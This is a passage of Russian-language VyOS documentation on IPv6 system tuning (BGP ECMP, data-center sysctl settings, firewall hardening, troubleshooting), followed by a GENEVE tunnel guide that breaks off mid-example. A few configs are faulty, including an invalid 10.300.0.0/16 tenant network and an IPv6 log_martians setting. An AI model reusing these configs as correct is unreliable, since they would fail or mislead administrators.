show ipv6 route

# Должны видеть:
# - ::/0 default route через eth0
# - 2001:db8:100::/64 connected через eth1

# Тест connectivity
ping6 2001:4860:4860::8888

# Проверить DHCPv6 server
show dhcpv6 server leases

# Проверить Router Advertisement
show ipv6 route | grep RA
```

### 3. BGP IPv6 Multihoming с ECMP

**Задача**: Настроить dual-uplink с BGP IPv6 и ECMP балансировкой.

```bash
# Системные настройки IPv6
set system ipv6 multipath layer4-hashing
set system ipv6 strict-dad
set system ipv6 neighbor table-size 16384
set system ipv6 nht no-resolve-via-default

# Uplink 1 - ISP A
set interfaces ethernet eth0 address 2001:db8:a::2/64
set interfaces ethernet eth0 description 'ISP-A Uplink'

# Uplink 2 - ISP B
set interfaces ethernet eth1 address 2001:db8:b::2/64
set interfaces ethernet eth1 description 'ISP-B Uplink'

# LAN
set interfaces ethernet eth2 address 2001:db8:100::1/64
set interfaces ethernet eth2 description 'LAN'

# BGP Configuration
set protocols bgp local-as 65001
set protocols bgp parameters router-id 10.0.0.1

# BGP neighbor ISP-A
set protocols bgp neighbor 2001:db8:a::1 remote-as 65100
set protocols bgp neighbor 2001:db8:a::1 address-family ipv6-unicast
set protocols bgp neighbor 2001:db8:a::1 description 'ISP-A'

# BGP neighbor ISP-B
set protocols bgp neighbor 2001:db8:b::1 remote-as 65200
set protocols bgp neighbor 2001:db8:b::1 address-family ipv6-unicast
set protocols bgp neighbor 2001:db8:b::1 description 'ISP-B'

# Announce LAN prefix
set protocols bgp address-family ipv6-unicast network 2001:db8:100::/48

# Maximum paths для ECMP
set protocols bgp address-family ipv6-unicast maximum-paths 2

# Router Advertisement на LAN
set service router-advert interface eth2 prefix 2001:db8:100::/64

commit
save
```

**Настройка ECMP через sysctl**:
```bash
sudo tee /etc/sysctl.d/99-bgp-ipv6-ecmp.conf > /dev/null <<'EOF'
# BGP IPv6 ECMP Configuration

# Layer 4 hashing для per-flow балансировки
net.ipv6.fib_multipath_hash_policy = 1

# Увеличить neighbor table для BGP full table
net.ipv6.neigh.default.gc_thresh1 = 4096
net.ipv6.neigh.default.gc_thresh2 = 8192
net.ipv6.neigh.default.gc_thresh3 = 16384

# Route table size для BGP
net.ipv6.route.max_size = 32768

# Forwarding
net.ipv6.conf.all.forwarding = 1

# BGP specific: не принимать RA на uplinks
net.ipv6.conf.eth0.accept_ra = 0
net.ipv6.conf.eth1.accept_ra = 0
net.ipv6.conf.eth2.accept_ra = 0
EOF

sudo sysctl -p /etc/sysctl.d/99-bgp-ipv6-ecmp.conf
```

**Проверка ECMP**:
```bash
# Проверить BGP sessions
show bgp ipv6 summary

# Проверить BGP routes с ECMP
show bgp ipv6

# Проверить установленные маршруты
show ipv6 route

# Для префикса с ECMP должны видеть несколько next-hops:
# B>* ::/0 [20/0] via 2001:db8:a::1, eth0, weight 1, 00:10:23
#                via 2001:db8:b::1, eth1, weight 1, 00:10:23

# Тестировать балансировку
# С LAN клиента запустить несколько соединений и проверить распределение
```

### 4. Data Center с IPv6 и высокой нагрузкой

**Задача**: Оптимизировать VyOS для Data Center с IPv6 трафиком > 1 Gbps.

```bash
# Системные настройки IPv6
set system ipv6 multipath layer4-hashing
set system ipv6 strict-dad
set system ipv6 neighbor table-size 32768
set system ipv6 nht no-resolve-via-default

commit
save
```

**Performance tuning для Data Center**:
```bash
sudo tee /etc/sysctl.d/99-datacenter-ipv6-performance.conf > /dev/null <<'EOF'
# Data Center IPv6 Performance Tuning

# Forwarding
net.ipv6.conf.all.forwarding = 1
net.ipv6.conf.default.forwarding = 1

# Neighbor Table для большой сети (10K+ servers)
net.ipv6.neigh.default.gc_thresh1 = 8192
net.ipv6.neigh.default.gc_thresh2 = 16384
net.ipv6.neigh.default.gc_thresh3 = 32768
net.ipv6.neigh.default.gc_interval = 30
net.ipv6.neigh.default.gc_stale_time = 60
net.ipv6.neigh.default.base_reachable_time_ms = 30000

# Route Table для BGP/OSPF
net.ipv6.route.max_size = 65536
net.ipv6.route.gc_interval = 30
net.ipv6.route.gc_timeout = 60
net.ipv6.route.gc_min_interval = 5

# Multipath ECMP с Layer 4 hashing
net.ipv6.fib_multipath_hash_policy = 1

# Fragment Reassembly для Jumbo Frames
net.ipv6.ip6frag_high_thresh = 8388608
net.ipv6.ip6frag_low_thresh = 6291456
net.ipv6.ip6frag_time = 60

# ICMPv6 Rate Limiting (защита от floods)
net.ipv6.icmp.ratelimit = 1000

# Disable RA на всех интерфейсах (data center internal)
net.ipv6.conf.all.accept_ra = 0
net.ipv6.conf.default.accept_ra = 0
net.ipv6.conf.all.autoconf = 0
net.ipv6.conf.default.autoconf = 0

# Security
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0

# TCP Performance для IPv6
net.core.rmem_max = 134217728
net.core.wmem_max = 134217728
net.ipv4.tcp_rmem = 4096 87380 67108864
net.ipv4.tcp_wmem = 4096 65536 67108864

# Congestion Control
net.core.default_qdisc = fq
net.ipv4.tcp_congestion_control = bbr

# Netfilter Conntrack
net.netfilter.nf_conntrack_max = 1048576
EOF

sudo sysctl -p /etc/sysctl.d/99-datacenter-ipv6-performance.conf
```

**Conntrack hashsize для высокой нагрузки**:
```bash
# Установить hashsize = conntrack_max / 8
echo 131072 | sudo tee /sys/module/nf_conntrack/parameters/hashsize

# Сделать постоянным (добавить в rc.local или systemd service)
sudo tee /etc/systemd/system/conntrack-hashsize.service > /dev/null <<'EOF'
[Unit]
Description=Set nf_conntrack hashsize
After=network.target

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'echo 131072 > /sys/module/nf_conntrack/parameters/hashsize'
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable conntrack-hashsize
sudo systemctl start conntrack-hashsize
```

### 5. IPv6 Security Hardening

**Задача**: Настроить IPv6 с максимальной безопасностью для edge роутера.

```bash
# Системные настройки IPv6
set system ipv6 multipath layer4-hashing
set system ipv6 strict-dad
set system ipv6 neighbor table-size 4096

# Firewall для IPv6
set firewall name WAN6_IN default-action drop
set firewall name WAN6_IN enable-default-log

# Разрешить established/related
set firewall name WAN6_IN rule 10 action accept
set firewall name WAN6_IN rule 10 state established
set firewall name WAN6_IN rule 10 state related
set firewall name WAN6_IN rule 10 description 'Allow established/related'

# Дроп invalid
set firewall name WAN6_IN rule 20 action drop
set firewall name WAN6_IN rule 20 state invalid
set firewall name WAN6_IN rule 20 log
set firewall name WAN6_IN rule 20 description 'Drop invalid'

# Разрешить необходимые ICMPv6 (только критичные типы)
set firewall name WAN6_IN rule 30 action accept
set firewall name WAN6_IN rule 30 protocol ipv6-icmp
set firewall name WAN6_IN rule 30 icmpv6 type 1
set firewall name WAN6_IN rule 30 description 'Allow ICMPv6 Destination Unreachable'

set firewall name WAN6_IN rule 31 action accept
set firewall name WAN6_IN rule 31 protocol ipv6-icmp
set firewall name WAN6_IN rule 31 icmpv6 type 2
set firewall name WAN6_IN rule 31 description 'Allow ICMPv6 Packet Too Big'

set firewall name WAN6_IN rule 32 action accept
set firewall name WAN6_IN rule 32 protocol ipv6-icmp
set firewall name WAN6_IN rule 32 icmpv6 type 3
set firewall name WAN6_IN rule 32 description 'Allow ICMPv6 Time Exceeded'

set firewall name WAN6_IN rule 33 action accept
set firewall name WAN6_IN rule 33 protocol ipv6-icmp
set firewall name WAN6_IN rule 33 icmpv6 type 4
set firewall name WAN6_IN rule 33 description 'Allow ICMPv6 Parameter Problem'

set firewall name WAN6_IN rule 34 action accept
set firewall name WAN6_IN rule 34 protocol ipv6-icmp
set firewall name WAN6_IN rule 34 icmpv6 type 128
set firewall name WAN6_IN rule 34 description 'Allow ICMPv6 Echo Request (ping6)'

# Блокировать Router Advertisement из WAN (защита от rogue RA)
set firewall name WAN6_IN rule 40 action drop
set firewall name WAN6_IN rule 40 protocol ipv6-icmp
set firewall name WAN6_IN rule 40 icmpv6 type 134
set firewall name WAN6_IN rule 40 log
set firewall name WAN6_IN rule 40 description 'Block rogue Router Advertisement'

# Firewall LOCAL
set firewall name WAN6_LOCAL default-action drop
set firewall name WAN6_LOCAL enable-default-log

set firewall name WAN6_LOCAL rule 10 action accept
set firewall name WAN6_LOCAL rule 10 state established
set firewall name WAN6_LOCAL rule 10 state related

set firewall name WAN6_LOCAL rule 20 action drop
set firewall name WAN6_LOCAL rule 20 state invalid
set firewall name WAN6_LOCAL rule 20 log

# Разрешить link-local (для Neighbor Discovery)
set firewall name WAN6_LOCAL rule 30 action accept
set firewall name WAN6_LOCAL rule 30 source address fe80::/10
set firewall name WAN6_LOCAL rule 30 description 'Allow link-local'

# Разрешить необходимый ICMPv6
set firewall name WAN6_LOCAL rule 40 action accept
set firewall name WAN6_LOCAL rule 40 protocol ipv6-icmp
set firewall name WAN6_LOCAL rule 40 icmpv6 type 1
set firewall name WAN6_LOCAL rule 40 description 'Allow ICMPv6 types'

# Разрешить DHCPv6 client (если используется)
set firewall name WAN6_LOCAL rule 50 action accept
set firewall name WAN6_LOCAL rule 50 protocol udp
set firewall name WAN6_LOCAL rule 50 source port 547
set firewall name WAN6_LOCAL rule 50 destination port 546
set firewall name WAN6_LOCAL rule 50 description 'Allow DHCPv6 client'

# Применить firewall
set firewall interface eth0 in name WAN6_IN
set firewall interface eth0 local name WAN6_LOCAL

commit
save
```

**Security sysctl для IPv6**:
```bash
sudo tee /etc/sysctl.d/99-ipv6-security-hardening.conf > /dev/null <<'EOF'
# IPv6 Security Hardening

# Forwarding (для роутера)
net.ipv6.conf.all.forwarding = 1
net.ipv6.conf.default.forwarding = 1

# Отключить Router Advertisement acceptance (защита от rogue RA)
net.ipv6.conf.all.accept_ra = 0
net.ipv6.conf.default.accept_ra = 0
net.ipv6.conf.all.accept_ra_defrtr = 0
net.ipv6.conf.default.accept_ra_defrtr = 0
net.ipv6.conf.all.accept_ra_pinfo = 0
net.ipv6.conf.default.accept_ra_pinfo = 0

# Отключить autoconf (SLAAC)
net.ipv6.conf.all.autoconf = 0
net.ipv6.conf.default.autoconf = 0

# Отключить redirects
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0

# Отключить source routing
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0

# Логирование martians
net.ipv6.conf.all.log_martians = 1
net.ipv6.conf.default.log_martians = 1

# Максимум адресов на интерфейсе (защита от RA flood)
net.ipv6.conf.all.max_addresses = 16
net.ipv6.conf.default.max_addresses = 16

# Disable privacy extensions на роутере
net.ipv6.conf.all.use_tempaddr = 0
net.ipv6.conf.default.use_tempaddr = 0

# DAD для всех адресов
net.ipv6.conf.all.dad_transmits = 1
net.ipv6.conf.default.dad_transmits = 1

# ICMPv6 rate limiting (защита от ICMPv6 flood)
net.ipv6.icmp.ratelimit = 1000
EOF

sudo sysctl -p /etc/sysctl.d/99-ipv6-security-hardening.conf
```

## Мониторинг и диагностика

### Операционные команды

```bash
# Показать IPv6 конфигурацию системы
show system ipv6

# Показать все IPv6 адреса на интерфейсах
show interfaces

# IPv6 Neighbor Table (аналог ARP)
show ipv6 neighbors

# Пример вывода:
# IPv6 Address                  Interface    Link-layer Address    State    Age
# fe80::250:56ff:fe12:3456     eth1         00:50:56:12:34:56     REACHABLE 15
# 2001:db8:1::100              eth1         00:50:56:12:34:57     STALE     120

# IPv6 Routing Table
show ipv6 route

# IPv6 BGP (если используется)
show bgp ipv6 summary
show bgp ipv6

# Router Advertisement информация
show ipv6 route | grep RA

# ICMPv6 statistics
show ipv6 statistics

# Сбросить neighbor cache
reset ipv6 neighbors

# Сбросить route cache
reset ipv6 route cache
```

### Проверка Neighbor Discovery

```bash
# Мониторинг NDP в реальном времени
sudo tcpdump -i eth1 -nn icmp6

# Фильтр для конкретных типов ICMPv6:
# Type 133: Router Solicitation
# Type 134: Router Advertisement
# Type 135: Neighbor Solicitation
# Type 136: Neighbor Advertisement
# Type 137: Redirect

# Только Neighbor Solicitation/Advertisement
sudo tcpdump -i eth1 -nn 'icmp6 and (ip6[40] == 135 or ip6[40] == 136)'

# Только Router Advertisement
sudo tcpdump -i eth1 -nn 'icmp6 and ip6[40] == 134'
```

### Sysctl мониторинг

```bash
# Все IPv6 параметры
sysctl -a | grep net.ipv6

# Проверить forwarding
sysctl net.ipv6.conf.all.forwarding

# Проверить multipath hashing
sysctl net.ipv6.fib_multipath_hash_policy
# 0 = layer3 (src/dst IP only)
# 1 = layer4 (src/dst IP + ports)

# Neighbor table статистика
sysctl net.ipv6.neigh.default.gc_thresh1
sysctl net.ipv6.neigh.default.gc_thresh2
sysctl net.ipv6.neigh.default.gc_thresh3

# Проверить текущее количество neighbors
ip -6 neigh show | wc -l

# Route table size
sysctl net.ipv6.route.max_size
ip -6 route show | wc -l
```

### Performance мониторинг

```bash
# IPv6 statistics
cat /proc/net/snmp6

# Ключевые метрики:
# Ip6InReceives - входящие пакеты
# Ip6OutRequests - исходящие пакеты
# Ip6InDiscards - дропы на входе
# Ip6OutDiscards - дропы на выходе
# Icmp6InMsgs - входящие ICMPv6 сообщения
# Icmp6OutMsgs - исходящие ICMPv6 сообщения

# IPv6 routing statistics
cat /proc/net/ipv6_route

# Neighbor table statistics
cat /proc/net/ndisc_cache

# ICMPv6 statistics detail
netstat -s -6 | grep -i icmp
```

### Диагностика проблем

```bash
# Проверить IPv6 connectivity
ping6 -c 3 2001:4860:4860::8888

# Traceroute для IPv6
traceroute6 2001:4860:4860::8888

# MTU Path Discovery
ping6 -M do -s 1400 2001:4860:4860::8888

# Проверить IPv6 DNS resolution
host -t AAAA google.com
dig google.com AAAA

# Проверить DHCPv6 client
show dhcpv6 client leases

# Логи для IPv6 проблем
show log | match -i ipv6
show log | match -i icmp6
show log | match -i neighbor
```

## Устранение неполадок

### 1. IPv6 forwarding не работает

**Симптомы**: Клиенты не могут получить доступ к IPv6 интернету через VyOS.

**Проверка**:
```bash
# Проверить IPv6 forwarding
sysctl net.ipv6.conf.all.forwarding
# Должно быть: net.ipv6.conf.all.forwarding = 1

# Проверить VyOS конфигурацию
show configuration system ipv6
# Не должно быть: disable-forwarding
```

**Решение**:
```bash
# Удалить disable-forwarding если присутствует
delete system ipv6 disable-forwarding

commit
save

# Проверить в ядре
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Проверить firewall (может блокировать IPv6 форвардинг)
show firewall
```

### 2. Duplicate Address Detection (DAD) failures

**Симптомы**: Интерфейс не получает IPv6 адрес, логи показывают "duplicate address detected".

**Проверка**:
```bash
# Проверить состояние адресов
ip -6 addr show

# Если адрес помечен как "dadfailed":
# inet6 2001:db8:1::1/64 scope global tentative dadfailed

# Проверить логи
show log | match "duplicate"
dmesg | grep -i "duplicate address"

# Проверить neighbor table для конфликтующего адреса
show ipv6 neighbors | grep 2001:db8:1::1
```

**Решение**:
```bash
# Вариант 1: Изменить адрес на уникальный
delete interfaces ethernet eth1 address 2001:db8:1::1/64
set interfaces ethernet eth1 address 2001:db8:1::2/64
commit
save

# Вариант 2: Найти и исправить устройство с дублирующимся адресом
# Использовать tcpdump для поиска
sudo tcpdump -i eth1 -nn 'icmp6 and ip6[40] == 136'
# Neighbor Advertisement покажет MAC адрес конфликтующего устройства

# Вариант 3: Временно отключить strict-dad для восстановления
delete system ipv6 strict-dad
commit

# После исправления конфликта - включить обратно
set system ipv6 strict-dad
commit
save
```

### 3. Neighbor table переполнена

**Симптомы**: "Neighbor table overflow" в логах, невозможность обнаружить новые IPv6 хосты.

**Проверка**:
```bash
# Текущее количество neighbors
ip -6 neigh show | wc -l

# Проверить thresholds
sysctl net.ipv6.neigh.default.gc_thresh1
sysctl net.ipv6.neigh.default.gc_thresh2
sysctl net.ipv6.neigh.default.gc_thresh3

# Если количество neighbors близко к gc_thresh3 - проблема
```

**Решение**:
```bash
# Увеличить neighbor table size через VyOS
set system ipv6 neighbor table-size 16384
commit
save

# Временно увеличить через sysctl
sudo sysctl -w net.ipv6.neigh.default.gc_thresh1=4096
sudo sysctl -w net.ipv6.neigh.default.gc_thresh2=8192
sudo sysctl -w net.ipv6.neigh.default.gc_thresh3=16384

# Постоянная конфигурация
sudo tee /etc/sysctl.d/99-ipv6-neighbor-fix.conf > /dev/null <<'EOF'
net.ipv6.neigh.default.gc_thresh1 = 4096
net.ipv6.neigh.default.gc_thresh2 = 8192
net.ipv6.neigh.default.gc_thresh3 = 16384
EOF

sudo sysctl -p /etc/sysctl.d/99-ipv6-neighbor-fix.conf

# Очистить STALE записи
sudo ip -6 neigh flush dev eth1 nud stale
```

### 4. ECMP не балансирует трафик равномерно

**Симптомы**: Весь IPv6 трафик идет через один путь, несмотря на наличие ECMP.

**Проверка**:
```bash
# Проверить наличие multipath routes
show ipv6 route

# Должны видеть несколько next-hops
# Example:
# S>  2001:db8:100::/48 [1/0] via 2001:db8:1::1, eth0
#                              via 2001:db8:1::2, eth1

# Проверить multipath hash policy
sysctl net.ipv6.fib_multipath_hash_policy
# 0 = layer3 (плохо для балансировки)
# 1 = layer4 (хорошо)

# Проверить VyOS конфигурацию
show configuration system ipv6 | grep multipath
```

**Решение**:
```bash
# Включить layer4-hashing
set system ipv6 multipath layer4-hashing
commit
save

# Проверить применение
sysctl net.ipv6.fib_multipath_hash_policy
# Должно быть: 1

# Если все еще не работает - проверить веса маршрутов
# BGP: проверить что пути имеют одинаковый вес
show bgp ipv6 <prefix>

# Статические маршруты: проверить distance
show ipv6 route static
```

### 5. Rogue Router Advertisement

**Симптомы**: Клиенты получают некорректные default routes, сеть нестабильна.

**Проверка**:
```bash
# Мониторить RA в сети
sudo tcpdump -i eth1 -nn 'icmp6 and ip6[40] == 134' -v

# Проверить откуда приходят RA
# Вывод покажет source MAC и link-local адрес

# Проверить клиентские маршруты
# На клиенте:
ip -6 route show | grep default
# Должен быть только один default route от легитимного роутера
```

**Решение**:
```bash
# Вариант 1: Блокировать RA на firewall
set firewall name LAN_IN rule 10 action drop
set firewall name LAN_IN rule 10 protocol ipv6-icmp
set firewall name LAN_IN rule 10 icmpv6 type 134
set firewall name LAN_IN rule 10 description 'Block rogue RA from LAN'

set firewall interface eth1 in name LAN_IN

commit
save

# Вариант 2: Использовать RA Guard (требует switch support)
# Настроить на managed switch RA Guard для блокировки RA от клиентских портов

# Вариант 3: Найти источник rogue RA
# Использовать tcpdump вывод для определения MAC адреса
# Отключить порт на switch или устройство

# Вариант 4: Включить RA Guard через ebtables (Linux bridge)
# Если VyOS работает как bridge:
sudo ebtables -A FORWARD -p IPv6 --ip6-proto ipv6-icmp --ip6-icmp-type router-advertisement -j DROP
```

### 6. ICMPv6 "Packet Too Big" игнорируется (PMTUD failure)

**Симптомы**: Большие пакеты не доставляются, соединения зависают после handshake.

**Проверка**:
```bash
# Тест с большим пакетом
ping6 -M do -s 1400 2001:4860:4860::8888
# Если timeout - PMTUD не работает

# Проверить firewall
show firewall

# ICMPv6 type 2 (Packet Too Big) должен быть разрешен
```

**Решение**:
```bash
# Разрешить ICMPv6 Type 2 (Packet Too Big) в firewall
set firewall name WAN6_IN rule 100 action accept
set firewall name WAN6_IN rule 100 protocol ipv6-icmp
set firewall name WAN6_IN rule 100 icmpv6 type 2
set firewall name WAN6_IN rule 100 description 'Allow Packet Too Big for PMTUD'

set firewall name WAN6_LOCAL rule 100 action accept
set firewall name WAN6_LOCAL rule 100 protocol ipv6-icmp
set firewall name WAN6_LOCAL rule 100 icmpv6 type 2

commit
save

# Альтернатива: MSS clamping для TCP
# set firewall modify MSS_CLAMP rule 10 action modify
# set firewall modify MSS_CLAMP rule 10 protocol tcp
# set firewall modify MSS_CLAMP rule 10 tcp flags syn
# set firewall modify MSS_CLAMP rule 10 set tcp-mss 1380
```

## Лучшие практики

### 1. IPv6 Forwarding
- Оставлять включенным на всех роутерах (по умолчанию)
- Отключать только на чистых endpoint системах
- Проверять после каждого обновления VyOS

### 2. Strict DAD
- Включать в production средах для предотвращения конфликтов
- Обязательно в cloud environments (Yandex Cloud, VK Cloud)
- Мониторить логи на DAD failures

### 3. Multipath Layer4 Hashing
- Всегда включать при использовании ECMP
- Обеспечивает per-flow балансировку
- Предотвращает переупорядочивание пакетов TCP

### 4. Neighbor Table Size
- Выбирать размер на основе количества хостов в сети
- Для роутеров с BGP: увеличивать до 16384-32768
- Мониторить заполнение neighbor cache

### 5. Nexthop Tracking
- Включать `no-resolve-via-default` в BGP сетях
- Предотвращает false-positive доступность peers
- Критично для IBGP с loopback адресами

### 6. Security
- Блокировать rogue Router Advertisements на LAN
- Разрешать только необходимые ICMPv6 типы
- Отключать прием RA на роутерах (accept_ra=0)
- Отключать source routing и redirects

### 7. Router Advertisement
- Использовать managed-flag для DHCPv6 адресации
- Настраивать reasonable lifetime значения
- Не отправлять RA на WAN интерфейсах

### 8. Performance
- Увеличивать neighbor/route table для больших сетей
- Настраивать TCP параметры для WAN > 100 Mbps
- Использовать BBR congestion control
- Оптимизировать GC intervals для neighbor table

### 9. Monitoring
- Мониторить neighbor table usage
- Отслеживать DAD failures
- Проверять ECMP балансировку
- Логировать rogue RA attempts

### 10. Documentation
- Документировать все sysctl изменения
- Хранить конфигурацию в /etc/sysctl.d/
- Использовать описательные имена файлов (99-ipv6-*.conf)
- Тестировать изменения в staging перед production

## Заключение

Правильная конфигурация системных параметров IPv6 в VyOS обеспечивает стабильную, производительную и безопасную работу IPv6 сети. Настройка forwarding, strict DAD, multipath hashing, neighbor table и других параметров позволяет оптимизировать роутер под конкретные требования - от простого dual-stack gateway для малого офиса до высокопроизводительного IPv6 роутера для Data Center или ISP сети.

Ключевые моменты:

1. **Forwarding** должен быть включен на роутерах (по умолчанию в VyOS)
2. **Strict DAD** предотвращает конфликты адресов в автоматизированных средах
3. **Layer 4 hashing** критичен для корректной работы ECMP
4. **Neighbor table size** должен соответствовать размеру сети
5. **Security hardening** через sysctl и firewall защищает от атак
6. **Monitoring** позволяет выявлять проблемы до их влияния на production

Следование лучшим практикам и регулярный мониторинг обеспечивают надежную работу IPv6 инфраструктуры в современных cloud и enterprise сетях.


---

# GENEVE - Generic Network Virtualization Encapsulation

Source: https://opennix.org/docs/vyos/interfaces/vyos-geneve/


GENEVE (Generic Network Virtualization Encapsulation) - это протокол сетевой виртуализации, разработанный для преодоления ограничений VXLAN, NVGRE и STT. GENEVE поддерживает сценарии сетевой виртуализации, особенно для создания туннелей между виртуальными коммутаторами.

## Введение в GENEVE

### Что такое GENEVE?

GENEVE - это современный протокол инкапсуляции, который:
- Использует произвольные IP сети в качестве underlay
- Поддерживает архитектуры Clos network
- Обеспечивает гибкость через расширяемый заголовок
- Разработан IETF NVO3 Working Group

### Ключевые особенности

**Архитектура заголовка:**
- Version - версия протокола
- Option Length - длина опциональных полей
- VNI (Virtual Network Identifier) - идентификатор виртуальной сети
- Protocol Type - тип инкапсулированного протокола
- Variable Length Options - расширяемые опции

**Преимущества перед VXLAN:**
- Более гибкий формат заголовка
- Поддержка метаданных
- Лучшая расширяемость
- Совместимость с различными transport протоколами

### Когда использовать GENEVE?

**Рекомендуется для:**
- Cloud overlay networks
- Network virtualization в datacenter
- Multi-tenant environments
- SDN/NFV решений
- Kubernetes CNI (например, OVN-Kubernetes)

**Применение в облаках:**
- Yandex Cloud: Overlay networking для контейнерных платформ
- VK Cloud: Multi-tenant изоляция
- Private Cloud: Network virtualization infrastructure

## Конфигурация GENEVE

### Базовая настройка

```bash
configure

# Создать GENEVE интерфейс
set interfaces geneve gnv0 remote 203.0.113.10
set interfaces geneve gnv0 vni 100
set interfaces geneve gnv0 address 10.10.0.1/24

commit
save
```

### Параметры конфигурации

#### VNI (Virtual Network Identifier)

```bash
# VNI идентифицирует виртуальную сеть (0-16777215)
set interfaces geneve gnv0 vni 100
```

**Диапазон VNI:** 0 - 16777215 (24-bit)

#### Remote Address

```bash
# IP адрес удаленной конечной точки туннеля
set interfaces geneve gnv0 remote 203.0.113.10

# Поддерживается IPv6
set interfaces geneve gnv0 remote 2001:db8::10
```

#### Source Address (опционально)

```bash
# Если не указан - выбирается автоматически на основе routing table
set interfaces geneve gnv0 source-address 203.0.113.1
```

#### UDP Port

```bash
# Порт назначения UDP (по умолчанию 6081)
set interfaces geneve gnv0 port 6081

# Использовать custom порт
set interfaces geneve gnv0 port 8472
```

**Default GENEVE port:** 6081 (IANA assigned)

#### IP Configuration

```bash
# IPv4 адрес
set interfaces geneve gnv0 address 10.10.0.1/24

# IPv6 адрес
set interfaces geneve gnv0 address 2001:db8:1::1/64

# Множественные IP адреса
set interfaces geneve gnv0 address 10.10.0.1/24
set interfaces geneve gnv0 address 10.10.1.1/24
```

#### MTU Settings

```bash
# Установить MTU (учесть overhead для инкапсуляции)
set interfaces geneve gnv0 mtu 1450

# GENEVE overhead:
# - IPv4: 50 bytes (20 IP + 8 UDP + 8 GENEVE + 14 Ethernet)
# - IPv6: 70 bytes (40 IP + 8 UDP + 8 GENEVE + 14 Ethernet)
```

**Рекомендации MTU:**
- Underlay MTU 1500: GENEVE MTU = 1450
- Underlay MTU 9000 (Jumbo): GENEVE MTU = 8950

#### MAC Address

```bash
# Установить custom MAC адрес
set interfaces geneve gnv0 mac '00:50:56:00:00:01'
```

#### Description

```bash
# Добавить описание интерфейса
set interfaces geneve gnv0 description 'GENEVE to DC-EAST'
```

## Практические сценарии

### Сценарий 1: Point-to-Point GENEVE Tunnel

**Топология:**
```
[VyOS-R1] ===== GENEVE Tunnel ===== [VyOS-R2]
10.0.1.1/24                          10.0.2.1/24
         |                                |
    Overlay: 172.16.0.0/30
```

**Конфигурация VyOS-R1:**

```bash
configure

# WAN интерфейс
set interfaces ethernet eth0 address 10.0.1.1/24

# GENEVE tunnel
set interfaces geneve gnv0 remote 10.0.2.1
set interfaces geneve gnv0 vni 1000
set interfaces geneve gnv0 address 172.16.0.1/30
set interfaces geneve gnv0 mtu 1450
set interfaces geneve gnv0 description 'Tunnel to R2'

# Static route через туннель
set protocols static route 192.168.2.0/24 next-hop 172.16.0.2

commit
save
```

**Конфигурация VyOS-R2:**

```bash
configure

# WAN интерфейс
set interfaces ethernet eth0 address 10.0.2.1/24

# GENEVE tunnel
set interfaces geneve gnv0 remote 10.0.1.1
set interfaces geneve gnv0 vni 1000
set interfaces geneve gnv0 address 172.16.0.2/30
set interfaces geneve gnv0 mtu 1450
set interfaces geneve gnv0 description 'Tunnel to R1'

# Static route через туннель
set protocols static route 192.168.1.0/24 next-hop 172.16.0.1

commit
save
```

**Проверка:**

```bash
# Проверить интерфейс
show interfaces geneve

# Ping через туннель
ping 172.16.0.2 source-address 172.16.0.1

# Проверить routing
show ip route
```

### Сценарий 2: Multi-Tenant Network Virtualization

**Задача:** Изоляция трафика нескольких клиентов через отдельные VNI

**Топология:**
```
Tenant A (VNI 100): 10.100.0.0/16
Tenant B (VNI 200): 10.200.0.0/16
Tenant C (VNI 300): 10.300.0.0/16
```

**Конфигурация:**

```bash
configure

# Tenant A
set interfaces geneve gnv100 remote 203.0.113.10
set interfaces geneve gnv100 vni 100
set interfaces geneve gnv100 address 10.100.0.1/16
set interfaces geneve gnv100 description 'Tenant-A Network'

# Tenant B
set interfaces geneve gnv200 remote 203.0.113.10
set interfaces geneve gnv200 vni 200
set interfaces geneve gnv200 address 10.200.0.1/16
set interfaces geneve gnv200 description 'Tenant-B Network'

# Tenant C
set interfaces geneve gnv300 remote 203.0.113.10
set interfaces geneve gnv300 vni 300
set interfaces geneve gnv300 address 10.300.0.1/16
set interfaces geneve gnv300 description 'Tenant-C Network'

# Firewall для изоляции
set firewall group network-group TENANT-A network 10.100.0.0/16
set firewall group network-group TENANT-B network 10.200.0.0/16
set firewall group network-group TENANT-C network 10.300.0.0/16

set firewall name TENANT-ISOLATION default-action drop
set firewall name TENANT-ISOLATION rule 10 action accept
set firewall name TENANT-ISOLATION rule 10 state established enable
set firewall name TENANT-ISOLATION rule 10 state related enable

commit
save
```

### Сценарий 3: GENEVE в Yandex Cloud

**Задача:** Overlay network между VMs в Yandex Cloud

**Особенности Yandex Cloud:**
- Поддержка custom протоколов между VMs
- Требуется security group разрешающий UDP 6081
- MTU в Yandex Cloud: 1500 (использовать GENEVE MTU 1450)

**Конфигурация:**

```bash
configure

# Определить cloud metadata для получения IP
set system option performance throughput

# GENEVE tunnel между облачными VMs
set interfaces geneve gnv0 remote 10.128.0.20
set interfaces geneve gnv0 vni 1000
set interfaces geneve gnv0 address 172.16.100.1/24
set interfaces geneve gnv0 mtu 1450
set interfaces geneve gnv0 description 'Yandex Cloud Overlay'

# Source address - внутренний IP VM
set interfaces geneve gnv0 source-address 10.128.0.10

commit
save
```

**Yandex Cloud Security Group:**

```bash
# Через Yandex Cloud Console или CLI
yc vpc security-group-rule create \
  --security-group-id <sg-id> \
  --direction ingress \
  --protocol udp \
  --port 6081 \
  --cidr-blocks 10.128.0.0/24 \
  --description "GENEVE tunnel"
```

### Сценарий 4: GENEVE с Dynamic Routing

**Задача:** OSPF через GENEVE tunnel

```bash
configure

# GENEVE tunnel
set interfaces geneve gnv0 remote 203.0.113.10
set interfaces geneve gnv0 vni 1000
set interfaces geneve gnv0 address 172.16.0.1/30
set interfaces geneve gnv0 mtu 1450

# OSPF через GENEVE
set protocols ospf area 0 network 172.16.0.0/30
set protocols ospf area 0 network 192.168.1.0/24

# Interface parameters для OSPF
set protocols ospf interface gnv0 hello-interval 10
set protocols ospf interface gnv0 dead-interval 40
set protocols ospf interface gnv0 priority 100

commit
save
```

**Проверка OSPF:**

```bash
show ip ospf neighbor
show ip ospf route
```

## Интеграция с Bridge

GENEVE интерфейсы можно добавлять в bridge для L2 connectivity:

```bash
configure

# Создать bridge
set interfaces bridge br0 address 192.168.100.1/24

# Добавить GENEVE в bridge
